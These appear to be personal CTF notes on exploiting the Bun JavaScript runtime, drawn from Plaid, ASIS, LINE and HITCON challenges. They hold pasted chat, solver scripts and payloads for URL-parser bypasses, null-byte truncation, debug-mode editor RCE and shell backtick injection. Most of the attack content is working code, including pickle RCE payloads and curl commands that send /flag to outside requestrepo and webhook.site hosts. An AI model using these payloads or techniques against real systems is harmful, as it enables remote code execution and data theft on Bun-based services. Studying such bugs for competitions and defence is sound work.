BUN url.parse can be bypassed
| Event Name | Plaid CTF 2025 |
| GitHub URL | - |
| Challenge Name | Viehaw! |
References
https://discordapp.com/channels/832061075670302732/1358547271943192596/1358549102509424793
For Viehaw! you could leak solutions of other teams here, we just stole the flag from someone else's webhook 😂
```
GET http://example.com/media/../metrics/index.json
Host: viehaw.chal.pwni.ng:1337
```https://discordapp.com/channels/832061075670302732/1358547271943192596/1358550059658121296
you beat me by stacking vie-ry furious status effects and causing a stack desync so the server allows you to have multiple of the same effect, then you use the fact the url.parse implementation in bun is like, jank as hell and if you give a hostname that's longer than 63 characters, any remaining characters overflow into the path variable. so the hono parser doesnt do this, it will not see any path, but bun's version of url.parse hallucinates a path which is whatever characters are after the 63 characters in the hostname
anyway you hit the render endpoint to trigger a pickle payload that's crafted from the metrics you make by winning against me, and you get RCE and win
Viehaw pickle payload
```
b'U\x08builtinsU\x04execq\xc2\x8f00h\xc2\x93(Ulexec(\'__import__("os")\\x2esystem("curl\\x20-d\\x20@\\x2fflag\\x20http:\\x2f\\x2faaaaaaaa\\x2erequestrepo\\x2ecom")\')tR'
```https://discordapp.com/channels/832061075670302732/1358547271943192596/1358550285877776626
backslashes also worked wonders for url parsing confusion
something like Host::\render?target=...&a=https://discordapp.com/channels/1088345765920915466/1358217093119480061/1358492162047611001
alr got everything up to pickle
```python
import requests
import random
import pickle
from pwn import *
import base64
HOST = "localhost"
PORT = 1337
REMOTE = f"http://{HOST}:{PORT}"
s = requests.session()
class RCE():
def __reduce__(self):
import os
return (os.popen, ("curl${IFS}https://lkhrhh8m.requestrepo.com${IFS}-F${IFS}lol=@/flag",))
lol = pickle.dumps(RCE(), protocol=0).decode("latin-1").split("\n")
print(lol)
name = ""
for p in lol[:-1]: # dont care about .
name += f"{p} 1 1\n"
r = s.post(f"{REMOTE}/ranger/new", json={ "ranger": name })
print(r.text, r.headers, r.status_code)
r = s.post(f"{REMOTE}/ranger/add-skill", json={
"sname": "x",
"sdesc": "x"
})
print(r.text, r.headers, r.status_code)
r = s.post(f"{REMOTE}/coyote/attack", json={
"moves": {
"length": 1,
} | { i: "x" for i in range(100) }
})
print(r.text, r.headers, r.status_code)
targets = ""
for l in lol:
targets += f"&target[]={base64.b64encode(l.encode()).decode()}"
conn = remote(HOST, PORT)
conn.sendline(f"""\
GET /../../render?graphType=line{targets} HTTP/1.1
Host: @/media/
""".replace("\n", "\r\n").encode())
conn.interactive()
```
fails on safeunpickler i thinkWork in BUN version 1.2.8
Bun url parser can be bypassed like this
> url.parse(`https://${"A".repeat(256)}/example.com/`)
{
protocol: 'https:',
slashes: true,
auth: null,
host: '',
port: null,
hostname: '',
hash: null,
search: null,
query: null,
pathname: '/example.com/',
path: '/example.com/',
href: 'https:///example.com/'
}
> var a = await fetch(url.parse(`https://${"A".repeat(256)}/example.com/`).href)
Response {}
> a.url
'https://example.com/'Work in BUN version 1.1.20
BUN null injection ASIS CTF 2023
> fs.readFileSync("/flag.txt\0/asd")
Buffer(11) [Uint8Array] [
102, 108, 97, 103,
123, 102, 97, 107,
101, 125, 10
]
>
> Bun.file("/flag.txt\0asdasssd").text()
Promise { 'flag{fake}\n' }
hello again (WEB)
ASIS CTF 2023
for hello again: - find the /src:/[path] hardcoded
endpoint in bun’s debug mode that launches an editor on the system (why
is this enabled by default? wtf???) - bypass the private check with 2x
url encoding and /index - symlink /usr/bin/awk
to /tmp/subl - abuse the fact that bun will recursively
scan your file system to look for text editors and then execute
it with arguments passed remotely - use the awk payload
yukine posted above, ours was pretty much exactly that but with a
revshell
https://github.com/oven-sh/bun/blob/ec0e931e9f7934f4f1f7617eac2a880d13794d0c/src/open.zig#L216 https://github.com/oven-sh/bun/blob/ec0e931e9f7934f4f1f7617eac2a880d13794d0c/src/bun.js/api/server.zig#L5498
❯ curl 'http://localhost:8000/src:/a/\{\}BEGIN{system("ls");exit}' -H "open-in-editor:1"
GET /src:/a/{}BEGIN{system("ls");exit} HTTP/1.1 something like this
![[Pasted image 20230926215403.png]]
BUN raw escape
Boom Boom Hell* LINECTF 2024
__Boom Boom Hell_:_*
Shall we dance? 🐻🐥🐰🎶
URL: <http://34.146.180.210:3000/chall?url=https://www.lycorp.co.jp>
[boomboomhell_898a5dc8c4b2ea241905c612d355ce58.zip](<https://score.linectf.me/files/dcb69f764afc9699e419ca6ccbd4d977/boomboomhell_898a5dc8c4b2ea241905c612d355ce58.zip?token=eyJ1c2VyX2lkIjoyNDMsInRlYW1faWQiOjEzMCwiZmlsZV9pZCI6MzV9.Zf4dEg.jYNjsS553Jii5Oi_WtlpI9NgI2c>)
Dimas: Here what i have found:
import httpx
from urllib.parse import quote_plus
URL = "<http://localhost:3000>"class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def chall(self, url):
return self.c.get("/chall?url="+url)
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
print(api.chall(f"""test{quote_plus("\\nasdasdfoofofo\\n")}""").text)
Untitled
const lyURL = new URL(params.url, "<https://www.lycorp.co.jp>");
if (lyURL.origin !== "<https://www.lycorp.co.jp>") {
return new Response("don't you know us?");
}
qs https://www.npmjs.com/package/qs
Can parse javascript objects, but it seems that new URL
will convert any object into string first than construct url
The string will be truncated if there is a nulbyte
url=foobar%00asdasdad.log output
2024-03-23T05:46:51+0000 - foobar ::: {"L":0,"Y":0}
you can use this
url=`ls`.log output
2024-03-23T15:32:59+0800 - bun.lockb jsconfig.json package.json index.js package-lock.json node_modules ::: {"L":3,"Y":1}
Untitled
did you try brute flag content via sleep maybe?
How to bypass spaces?
${IFS}?
seem not work XD ,btw why my bun not work TvT
bun
It seems that special characters will be converted and the command cannot be executed normally?
Is there a way to bypass the spaces so I can now execute multiple commands at the same time?
done
import httpx
URL = "http://34.146.180.210:3000/"class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def chall(self, url):
return self.c.get("/chall?url[raw]="+url)
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
print(api.chall("""`curl https://webhook.site/be08ac4b-8f65-464f-b2be-28dd00573f89 -F file=@/flag`""").text)
reference: https://bun.sh/docs/runtime/shell#escape-escape-strings
Bun version 1.1.8 will ignore (`)
import { $ } from "bun";
console.log(await $`echo ${'`ls`'}`.text());
Contoh soal
Hitcon CTF 2024
Solver
We can diff Bun versions to find that the backtick character is mishandled, allowing us to execute a command. We can’t have space, but if we upload a large enough file Bun ends up creating a memfd file for it, which can store our payload:
import requests
target = 'http://127.0.0.1:1337'
# target = 'http://eaas.chal.hitconctf.com:30153'
session = requests.Session()
res = session.post(f'{target}/echo', data = {
'msg': '`sh</proc/7/fd/14`',
}, files = {
'test': ('', b'/readflag give me the flag;exit;#'+b'A'*1024*1024*32),
})
print(res.status_code, res.content)
import requests
poc = b'/readflag give me the flag;' + b'\x00' * 10000000
r = requests.post('http://eaas.chal.hitconctf.com:30544/echo', data={'msg': '`sh</proc/self/fd/13`'}, files={'bruh': ('lol.txt', poc)})
print(r.text)
fd/14 is memfd
this was my solve for eaas lol
'msg' : b"ls`1<\\tsed\\ts_Usage:__\\t-i\\tdiocan`"
'msg' : b"ls`1<pera`"
'msg' : b"/readflag`1<diocan`"
'msg' : b"`bash<pera`"
'msg' : b"`bash<diocan`"
BUN will autogenerate from tsconfig.json
https://jamvie.net/posts/2024/07/ductf-2024-prisoner-processor/
BUN URL
README 2
GET data:https://4b9d-182-1-69-45.ngrok-free.app HTTP/1.1
Host: 4b9d-182-1-69-45.ngrok-free.app
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
tldr, memanipulasi url pada deno untuk menghasilkan url tanpa awailan /, yang nantinya akan di parsing oleh new URL. Kita menggunakan url data: agar pathname yang nanti digunakan tidak mengandung / pada awal url, sehingga kita bisa mensuply fetch dengan arbitary url, dari sini kita hanya perlu mensuply url yang nantinya akan meridirect fetch request ke url flag
<?php
header("Location: http://localhost:3000/flag.txt");
